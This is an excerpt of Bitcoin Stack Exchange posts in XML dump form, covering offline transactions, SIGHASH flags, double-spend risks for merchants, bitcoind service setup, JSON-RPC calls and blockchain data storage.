  <row Id="41351" PostTypeId="2" ParentId="39351" CreationDate="2015-11-12T21:53:26.753" Score="0" Body="&lt;p&gt;Only with the information you have provided, there will be a lot of guess working in order to pinpoint what really happen. The question that we could help you is how to prevent this to happen again. In that case, my only suggestion is to use an offline wallet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main advantage of an offline wallet is that your private key would never be in contact with an online computer. Very simple!&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2015-11-12T21:53:26.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41352" PostTypeId="1" AcceptedAnswerId="41356" CreationDate="2015-11-12T22:08:14.187" Score="1" ViewCount="3373" Body="&lt;p&gt;Consider the following scenario:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create an entire bitcoin raw transaction while offline (no access to the blockchain)  &lt;/li&gt;&#xA;&lt;li&gt;only when you decided to broadcast it that you would need to get online  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do such offline transaction? Exactly what fields you need from the blockchain in order to build such raw transaction?&lt;/p&gt;&#xA;" OwnerUserId="30509" LastEditorUserId="30509" LastEditDate="2015-11-12T22:09:09.590" LastActivityDate="2017-01-05T04:48:08.650" Title="Bitcoin offline transaction" Tags="|blockchain|raw-transaction|offline-transactions|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41355" PostTypeId="1" CreationDate="2015-11-12T22:38:17.103" Score="1" ViewCount="383" Body="&lt;p&gt;I &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4213/what-is-the-point-of-sighash-none&quot;&gt;know&lt;/a&gt; that using SIGHASH_NONE in signatures is safe for a transaction only if at least one of the inputs is signed with SIGHASH_ALL, so that a miner can't change the outputs and reclaim the inputs.&#xA;This kind of transaction is useful when the parties signing their inputs want to leave the capability to decide the outputs to a trusted coordinator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's now suppose that we have a transaction consisting of inputs using P2SH address implementing a 2of2 multisig signature scheme.&#xA;Since two signatures are required for each input, what does it happen if one of the signatures is made with SIGHASH_NONE and the second one with SIGHASH_ALL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the party signing with SIGHASH_NONE leaves the capability to the cosigner to choose the outputs at will and the resulting transaction will be safe (from malicious miners) since all inputs are signed also with one SIGHASH_ALL signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="19331" LastActivityDate="2017-03-08T21:36:06.083" Title="Using SIGHASH_NONE in P2SH address" Tags="|p2sh|sighash-flags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41356" PostTypeId="2" ParentId="41352" CreationDate="2015-11-12T22:43:11.830" Score="1" Body="&lt;p&gt;Not in a user-friendly way, no.&lt;/p&gt;&#xA;&lt;h3&gt;Simple version&lt;/h3&gt;&#xA;&lt;p&gt;Your offline Bitcoin client needs more information to identify which coins it is spending, so there needs to be some communication from the online computer to the offline computer. Typically, this is done by preparing most of the transaction on the online computer, then transferring it flash drive to the offline computer to be signed.&lt;/p&gt;&#xA;&lt;h3&gt;Technical version&lt;/h3&gt;&#xA;&lt;p&gt;You need the outpoint, scriptPubKey, and amount of each input you want to spend. The outpoint is composed of the 256 bit hash of the transaction that sent you the Bitcoins, and a small integer showing which output of that transaction you're spending. You also need the scriptPubKey to tell you which key you need to use to sign the transaction. You need to know the amount so that you can specify the correct amount of change to send back to yourself. (Otherwise, the unspent money will just go to the miner.) This requires about 61 bytes of space per input. If a single input doesn't have enough to cover the transaction, you'll need to combine multiple inputs.&lt;/p&gt;&#xA;&lt;p&gt;You could definitely ask the user to manually transcribe/renter this information, but I think that's asking for a mistake.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-01-05T04:48:08.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41357" PostTypeId="2" ParentId="41350" CreationDate="2015-11-12T23:54:39.940" Score="0" Body="&lt;p&gt;The biggest Ruby-related Bitcoin project is Toshi by Coinbase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can obviously read through &lt;a href=&quot;https://github.com/coinbase/toshi&quot; rel=&quot;nofollow&quot;&gt;the source code&lt;/a&gt;. And read through the &lt;a href=&quot;https://github.com/coinbase/toshi/tree/master/docs&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; in the github repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;a href=&quot;http://bitcoin-ruby.org/&quot; rel=&quot;nofollow&quot;&gt;bitcoin-ruby&lt;/a&gt; which should get you started on how to program bitcoin stuff using Ruby.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-12T23:54:39.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41359" PostTypeId="1" AcceptedAnswerId="41381" CreationDate="2015-11-13T03:58:07.027" Score="3" ViewCount="740" Body="&lt;p&gt;Peter Wuille recently explained how ECDSA pubkey recovery is done, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38351/ecdsa-v-r-s-what-is-v&quot;&gt;in response to my question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's basically that for a given base64 signature, the value &lt;code&gt;v&lt;/code&gt; in &lt;code&gt;v,r,s&lt;/code&gt; provides the specific coordinates, hence the &lt;code&gt;recid&lt;/code&gt; (recovery ID).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/master/bitcoin/tests/data/signmessage.json&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinCore test vectors&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; sig =&#xA;&amp;gt; &quot;H8PgOb/liZzt3QQHJn9kLBqH7E/i+SC6JTwYGtdNdOjnXzFqXnHMZqP7oZ1wb1QiQ3H/kF8xC9Yx7pK9ddlx8TA&quot;&#xA;&amp;gt; addr = &quot;1K5Z1nxN4mjUgCLpSXMRkeZxuAMpbn2CQB&quot; wif =&#xA;&amp;gt; &quot;KwfJTiKdcjNMjBu4ksgGd21EZXz6JomoZNbirP3nfd3K9ZMXMEUi&quot;&#xA;&amp;gt; &#xA;&amp;gt; v,r,s = vrs = (31,&#xA;&amp;gt; 88597177789312009809148107221292570613390338668815747761545214128303675599079L,&#xA;&amp;gt; 43057030252916568867525408201971649068117337291455262356277580652864892694832L)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value of v is &lt;code&gt;27 + recid&lt;/code&gt; for uncompressed keys and &lt;code&gt;31 + recid&lt;/code&gt; for compressed keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive run a Python loop using &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;pybitcointools&lt;/a&gt; which signs a message using a random key, and I've yet to ever see &lt;code&gt;v=29&lt;/code&gt; or &lt;code&gt;v=30&lt;/code&gt;. Why is this? Is it by design, or is it just a very low probability event? &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-11-14T17:42:05.777" Title="Are there any signatures where the recid (v) is equal to 29,30 (or 33,34 compressed)?" Tags="|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41360" PostTypeId="1" AcceptedAnswerId="41364" CreationDate="2015-11-13T12:30:49.583" Score="5" ViewCount="1049" Body="&lt;p&gt;I am developing a point of sale bitcoin app, which should accept &quot;fast&quot; transactions (~30 sec for merchant to accept). I researched double spending questions here already, but it is still unclear to me, what happens within the time frame before a transaction is actually included into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the case of a double spend attempt, where an attacker needs to pay to a merchant. The attacker creates and propagates a respective transaction A into the the bitcoin network. Transaction A is added to the main memory of mining nodes and is &quot;waiting&quot; for inclusion into one of the next blocks. The merchant is informed of the propagation of transaction A by the nodes he is connected to. Before transaction A is actually included in a block, the attacker creates and propagates another transaction B, which has the same inputs as A (double spend).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What happens if a miner (which has transaction A in his main memory) gets the conflicting transaction B?&lt;/li&gt;&#xA;&lt;li&gt;Can a merchant be sure, that transaction A will be confirmed, if it is propagated successfully to let's say all or most miners?&lt;/li&gt;&#xA;&lt;li&gt;Would a miner throw away transaction A and include B, if B has higher transaction fees, a smaller size in bytes, or of other attribute?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27733" LastEditorUserId="5406" LastEditDate="2017-06-18T18:43:10.010" LastActivityDate="2017-06-18T18:43:10.010" Title="0/confirmation race attack double spend transactions" Tags="|doublespend|zero-confirmation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41361" PostTypeId="2" ParentId="41329" CreationDate="2015-11-13T12:51:53.787" Score="-2" Body="&lt;p&gt;If it is a transaction under $599 it shouldn't be taxed according to tax law.  I'm not a lawyer.&lt;/p&gt;&#xA;" OwnerUserId="30522" LastEditorUserId="29646" LastEditDate="2015-11-14T00:54:13.287" LastActivityDate="2015-11-14T00:54:13.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41362" PostTypeId="1" CreationDate="2015-11-13T13:03:26.267" Score="5" ViewCount="1732" Body="&lt;p&gt;On Ubuntu 14.04 I have not been able to get the Bitcoin daemon to automatically restart. Rarely the daemon dies and it is important that it starts again without manual intervention. To get it to start automatically with Upstart I have followed the guide linked below. It starts with &lt;code&gt;sudo start bitcoind&lt;/code&gt; as expected but the service does not restart if it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13795/ubuntu-linux-how-do-i-start-bitcoind-as-a-service-to-run-automatically&quot;&gt;Ubuntu Linux — How do I start bitcoind as a service to run automatically?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My conf file in /etc/init/ is as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;description &quot;bitcoind&quot;&#xA;&#xA;start on filesystem&#xA;stop on runlevel [!2345]&#xA;oom score -500&#xA;expect fork&#xA;respawn&#xA;respawn limit 20 90 # 10 times in 60 seconds&#xA;&#xA;script&#xA;user=bitcoinuser&#xA;home=/home/$user&#xA;cmd=/usr/bin/bitcoind&#xA;pidfile=$home/.bitcoin/bitcoind.pid&#xA;# Don't change anything below here unless you know what you're doing&#xA;[[ -e $pidfile &amp;amp;&amp;amp; ! -d &quot;/proc/$(cat $pidfile)&quot; ]] &amp;amp;&amp;amp; rm $pidfile&#xA;[[ -e $pidfile &amp;amp;&amp;amp; &quot;$(cat /proc/$(cat $pidfile)/cmdline)&quot; != $cmd* ]] &amp;amp;&amp;amp; rm $pidfile&#xA;exec start-stop-daemon --start -c $user --chdir $home --pidfile $pidfile --startas $cmd -b --nicelevel 15 -m&#xA;end script&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run &lt;code&gt;ps -aux | grep bitcoind&lt;/code&gt; to get the process ID and kill it the daemon does not restart as desired. I have followed the guide and cannot see what is wrong with the set up. As a side note &lt;code&gt;sudo stop bitcoind&lt;/code&gt; does not actually stop it from running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2503" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2017-02-26T00:13:11.070" Title="Automatically restart bitcoind on crash" Tags="|server|daemon|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41364" PostTypeId="2" ParentId="41360" CreationDate="2015-11-13T14:13:57.537" Score="2" Body="&lt;p&gt;The bottom line is that there is no way for you to safely accept zero confirmation transactions. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What happens if a miner (which has transaction A in his main memory) gets the conflicting transaction B?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Depends on what software the miner is running and how they have configured it. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Some nodes will reject it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some nodes will accept it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some nodes will accept it conditionally. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's no knowing what people are running on mining nodes or what rules they have.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would a miner throw away transaction A and include B, if B has higher transaction fees, a smaller size in bytes, or of other attribute?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ditto.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can a merchant be sure, that transaction A will be confirmed, if it is propagated successfully to let's say all or most miners?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Absolutely not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative can be mined at any time, invalidating the original. This attack has been used in the real world to defraud websites of their Bitcoin payments to the tune of millions of dollars. Successful double spends can even happen once the transaction has been included in a block, which is why a large number of confirmations is suggested for people accepting Bitcoin as payment for services.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-13T14:13:57.537" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41366" PostTypeId="1" CreationDate="2015-11-13T16:47:44.347" Score="1" ViewCount="337" Body="&lt;p&gt;I'm trying to find a fast, reliable and secure place/service I can buy Bitcoins using a credit/debit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled and saw a few websites but most are a little sketchy and the rest don't seem to accept cards anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="30526" LastEditorUserId="29646" LastEditDate="2015-11-13T17:05:59.203" LastActivityDate="2016-05-13T06:45:40.523" Title="Looking for a place to buy bitcoin with a credit card" Tags="|buy-bitcoins|trade|bitcoin-credit-card|" AnswerCount="5" CommentCount="4" ClosedDate="2016-05-30T11:32:35.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="41367" PostTypeId="1" AcceptedAnswerId="41398" CreationDate="2015-11-13T16:53:18.970" Score="1" ViewCount="573" Body="&lt;p&gt;Are there any cloud-mining services that you can earn Bitcoin with and aren't Ponzi schemes?&lt;/p&gt;&#xA;" OwnerUserId="30526" LastEditorUserId="5406" LastEditDate="2016-02-04T13:04:39.150" LastActivityDate="2016-07-04T20:31:17.247" Title="Are there any legitimate cloud mining services?" Tags="|cloud-mining|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41368" PostTypeId="1" AcceptedAnswerId="41370" CreationDate="2015-11-13T20:17:26.967" Score="3" ViewCount="6418" Body="&lt;p&gt;I am wondering if its possible to use curl to getinfo from the bitcoin server thanks.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// init the resource&#xA;$ch = curl_init();&#xA;&#xA;// set a single option...&#xA;$username = 'usernamefromconfig';&#xA;$pwd = 'passwordfromconfig';&#xA;&#xA;curl_setopt_array(&#xA;    $ch, array( &#xA;    CURLOPT_URL =&amp;gt; &quot;$username:$pwd@127.0.0.1:8336&quot;,&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; true&#xA;));&#xA;&#xA;$output = curl_exec($ch);&#xA;echo $output;&#xA;&#xA;// free&#xA;curl_close($ch);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="5406" LastEditDate="2015-11-14T00:53:45.733" LastActivityDate="2020-09-21T12:13:15.257" Title="Can I use curl to call getInfo from a the Bitcoin server?" Tags="|api|json-rpc|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41369" PostTypeId="2" ParentId="41248" CreationDate="2015-11-13T22:25:11.457" Score="2" Body="&lt;p&gt;Very simple. Go to google and type: BTC to USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A nice box with the current exchange rate should appear on your browser.&lt;/p&gt;&#xA;" OwnerUserId="30509" LastEditorUserId="30509" LastEditDate="2015-11-15T17:43:12.607" LastActivityDate="2015-11-15T17:43:12.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41370" PostTypeId="2" ParentId="41368" CreationDate="2015-11-13T22:53:49.177" Score="4" Body="&lt;p&gt;You can use the command-line curl or any of the various JSON-RPC examples listed &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In particular, you can use curl like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --user &amp;lt;username&amp;gt;:&amp;lt;password&amp;gt; --data-binary '{&amp;quot;jsonrpc&amp;quot;: &amp;quot;1.0&amp;quot;, &amp;quot;id&amp;quot;:&amp;quot;curltest&amp;quot;, &amp;quot;method&amp;quot;: &amp;quot;getinfo&amp;quot;, &amp;quot;params&amp;quot;: [] }' -H 'content-type: text/plain;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For PHP, you can use &lt;a href=&quot;https://github.com/soundasleep/jsonrpcclient&quot; rel=&quot;nofollow noreferrer&quot;&gt;this library&lt;/a&gt; and do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;&#xA;$bitcoin = new jsonRPCClient('http://user:password@127.0.0.1:8332/');&#xA;&#xA;echo &amp;quot;&amp;lt;pre&amp;gt;\n&amp;quot;;&#xA;print_r($bitcoin-&amp;gt;getinfo()); echo &amp;quot;\n&amp;quot;;&#xA;echo &amp;quot;Received: &amp;quot;.$bitcoin-&amp;gt;getreceivedbylabel(&amp;quot;Your Address&amp;quot;).&amp;quot;\n&amp;quot;;&#xA;echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="8738" LastEditDate="2020-09-21T12:13:15.257" LastActivityDate="2020-09-21T12:13:15.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41372" PostTypeId="1" CreationDate="2015-11-14T02:05:52.090" Score="0" ViewCount="192" Body="&lt;p&gt;Hey I am trying to connect to my namecoin server. I have hosted and done the first &lt;em&gt;name_firstupdate&lt;/em&gt;. I am using easybitcoin.php. I have stored the &lt;em&gt;rnd&lt;/em&gt; and &lt;em&gt;txid&lt;/em&gt; I need from the &lt;em&gt;name_new&lt;/em&gt; step but when I execute the code the server doesn't respond with anything. I checked my namecoind &lt;em&gt;name_list&lt;/em&gt; the domain that's being registered doesn't show up. Any help would be awesome, thank you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://allaboutbit.com/dotbitaddress&quot; rel=&quot;nofollow&quot;&gt;http://allaboutbit.com/dotbitaddress&lt;/a&gt; for an example of the prior steps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$d = 'd/';&#xA;$space = &quot; &quot;;&#xA;require_once('easybitcoin.php');&#xA;$bitcoin = new Bitcoin('username','password','159.206.21.47','8336');&#xA;$domainQuery = mysqli_query($conn, &quot;SELECT domain_name from dotbitdomains WHERE status = '13'&quot;);&#xA;$domainLevel = mysqli_fetch_row($domainQuery);&#xA;            $url = $domainLevel[0];&#xA;//select rnd&#xA;$rndQuery = mysqli_query($conn, &quot;SELECT rnd from dotbitdomains WHERE status = '13'&quot;);&#xA;$rndLevel = mysqli_fetch_row($rndQuery);&#xA;            $rnd = $rndLevel[0];&#xA;//select txid&#xA;$txidQuery = mysqli_query($conn, &quot;SELECT txid from dotbitdomains WHERE status = '13'&quot;);&#xA;$txidLevel = mysqli_fetch_row($txidQuery);&#xA;            $txid = $txidLevel[0];&#xA;//select username&#xA;$userQuery = mysqli_query($conn, &quot;SELECT username from dotbitdomains WHERE status = '13'&quot;);&#xA;$userLevel = mysqli_fetch_row($userQuery);&#xA;            $username = $userLevel[0];&#xA;$bitcoin-&amp;gt;name_firstupdate($d.$url.$space.$rnd.$space.$txid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="29646" LastEditDate="2015-11-14T04:54:26.910" LastActivityDate="2016-01-02T23:50:13.020" Title="namecoin name_firstupdate" Tags="|json-rpc|namecoin|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41377" PostTypeId="1" AcceptedAnswerId="41382" CreationDate="2015-11-14T15:25:00.183" Score="1" ViewCount="102" Body="&lt;p&gt;I am bit new with bitcoin. I run a electronics/software company in China and Australia. I would like to create new bitcoin mining hardware. The specs are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner is PCI-E installed, runs in a normal PC case or rack sized server around 200w, latest 28nm chip, around 200GHash/s, selling $99 (USD).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will buy the chip from existing supplier. The design and manufacturing will be done myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given I have a hardware team that have done many ARM Soc applications, and a reasonable experienced software people with Linux and software.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is it worthwhile the effort to do it? Is it profitable and what if any are the perceptive pitfalls?&lt;/p&gt;&#xA;" OwnerUserId="30546" LastEditorUserId="2306" LastEditDate="2017-04-25T20:01:31.013" LastActivityDate="2017-04-25T20:01:31.013" Title="Would it be profitable to manufacture and sell my new mining hardware?" Tags="|mining-hardware|asic|" AnswerCount="1" CommentCount="1" ClosedDate="2015-11-14T19:07:09.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="41380" PostTypeId="2" ParentId="41248" CreationDate="2015-11-14T15:43:23.387" Score="0" Body="&lt;p&gt;My favorite is Tradeblock markets, shows live rates for various exchanges, and converted to USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tradeblock.com/markets&quot; rel=&quot;nofollow&quot;&gt;https://tradeblock.com/markets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2015-11-14T15:43:23.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41381" PostTypeId="2" ParentId="41359" CreationDate="2015-11-14T17:42:05.777" Score="6" Body="&lt;p&gt;For random signatures, it is an extremely low probability event. Around 1 in 2&lt;sup&gt;128&lt;/sup&gt;, so it will likely never ever actually happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can easily construct a valid signature that has one of those, and the recovery algorithm will give you an actual public key for it. It just won't be a public key anyone actually knows the secret key for.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-11-14T17:42:05.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41382" PostTypeId="2" ParentId="41377" CreationDate="2015-11-14T18:58:23.817" Score="2" Body="&lt;p&gt;Depends on whether you can bring something to market that's better than what's already out there. I'm not sure how quickly you can set up something like that, but 200GH/s for $99 right now would probably sell decently. 12 months from now, probably not so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really an economics question you have to answer, and we'd need a lot more information about your costs and market in order to assess the opportunity properly.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-14T18:58:23.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41384" PostTypeId="1" AcceptedAnswerId="41385" CreationDate="2015-11-14T21:40:42.850" Score="2" ViewCount="1108" Body="&lt;p&gt;It seems to me that the reason the proof-of-work involves finding a hash beginning with a (temporarily) fixed number of zeroes is because one can easily check whether they have solved the problem by comparing the hash they have generated with the value 2^k, where k = (256 - # of zero bits) and doing so is a relatively inexpensive operation. Also, it is easy to make the problem arbitrarily difficult up to a certain point (as well as having the difficulty increase exponentially with the number of zeros). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other reasons for why this particular problem was chosen for the proof-of-work?&lt;/p&gt;&#xA;" OwnerUserId="30557" LastActivityDate="2016-04-21T12:22:13.000" Title="Why was finding a hash beginning with a certain number of zeroes chosen as the proof of work?" Tags="|hash|proof-of-work|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41385" PostTypeId="2" ParentId="41384" CreationDate="2015-11-14T22:21:19.327" Score="7" Body="&lt;p&gt;It reuses the &lt;a href=&quot;https://en.wikipedia.org/wiki/Hashcash&quot; rel=&quot;nofollow&quot; title=&quot;Hashcash article in Wikipedia&quot;&gt;HashCash&lt;/a&gt; construct invented by Adam Back (a scheme for proving work was done to send an email, resulting in it being treated as less spammy by spam filters), though with a newer hash function and different header structure.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="34951" LastEditDate="2016-04-21T12:22:13.000" LastActivityDate="2016-04-21T12:22:13.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41386" PostTypeId="1" CreationDate="2015-11-15T06:46:46.570" Score="6" ViewCount="2517" Body="&lt;p&gt;Generally everyone can see all data stored in a blockchain.&#xA;Is there any way to handle private personal data like personal medical records which only right person can see?&lt;/p&gt;&#xA;" OwnerUserId="29597" LastActivityDate="2015-11-20T03:02:53.070" Title="Is there any way to store personal data in a blockchain?" Tags="|privacy|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41388" PostTypeId="1" AcceptedAnswerId="41389" CreationDate="2015-11-15T13:52:06.347" Score="4" ViewCount="1505" Body="&lt;p&gt;Is it possible to use db other than leveldb for bitcoin core? I'd like to make queries on running node and make views with decoded data &lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-11-15T14:01:03.863" Title="mysql instead of leveldb for bitcoin core" Tags="|bitcoin-core|leveldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41389" PostTypeId="2" ParentId="41388" CreationDate="2015-11-15T14:01:03.863" Score="9" Body="&lt;p&gt;There is no code for that, and it would be either very slow or nearly useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core assumes it has exclusive access to the -database, and caches data very aggresively. It may take hours before actual data from the chain is on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data structures are very compact and specifically designed for efficient use in Bitcoin Core. This means only unspent transaction outputs and block/transaction disk location are written to the database, in a custom byte-level format. You'd have to write your own parsers for these. In the 0.12 release most of this data will be scrambled by default even, to thwart overly aggressive virus scanners that detect virus patterns inside the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, that's not what the database is intended for. If you want something to index the blockchain or query the UTXO set, there exist other projects that build databases specifically designed for that. &lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-11-15T14:01:03.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41390" PostTypeId="2" ParentId="41386" CreationDate="2015-11-15T14:01:58.987" Score="0" Body="&lt;p&gt;I don't see why you wouldn't be able to encrypt the data you'd like to share on the blockchain with the intended recipient's public key. That should keep it private from everyone except the holder of the private key, which should be the intended recipient.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2015-11-15T14:01:58.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41391" PostTypeId="2" ParentId="41386" CreationDate="2015-11-15T17:39:26.013" Score="1" Body="&lt;p&gt;I don't see why you would store any data on the block chain instead of just a hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin blockchain is not intended (it's actively discouraged) and therefore not suitable for data storage. The distribution system will most likely not suit your needs either. And if you're still not convinced: you're not going to be able to pay for it anyway: Bitcoin transactions cost money per byte, so you want to use as little as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use some other network/storage system that matches your requirements. Be it a website or bittorrent or a piece of paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether the actual data there is encrypted or not is your own choice. The blockchain doesn't care.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-15T17:39:26.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41392" PostTypeId="2" ParentId="41386" CreationDate="2015-11-15T17:53:26.753" Score="2" Body="&lt;p&gt;You can store data or its &lt;strong&gt;&lt;em&gt;hash&lt;/em&gt;&lt;/strong&gt; in the blockchain using OP_RETURN outputs which can store up to 80 bytes &lt;a href=&quot;http://blog.coinprism.com/2015/02/11/80-bytes-op-return/&quot; rel=&quot;nofollow&quot;&gt;http://blog.coinprism.com/2015/02/11/80-bytes-op-return/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2015-11-15T17:53:26.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
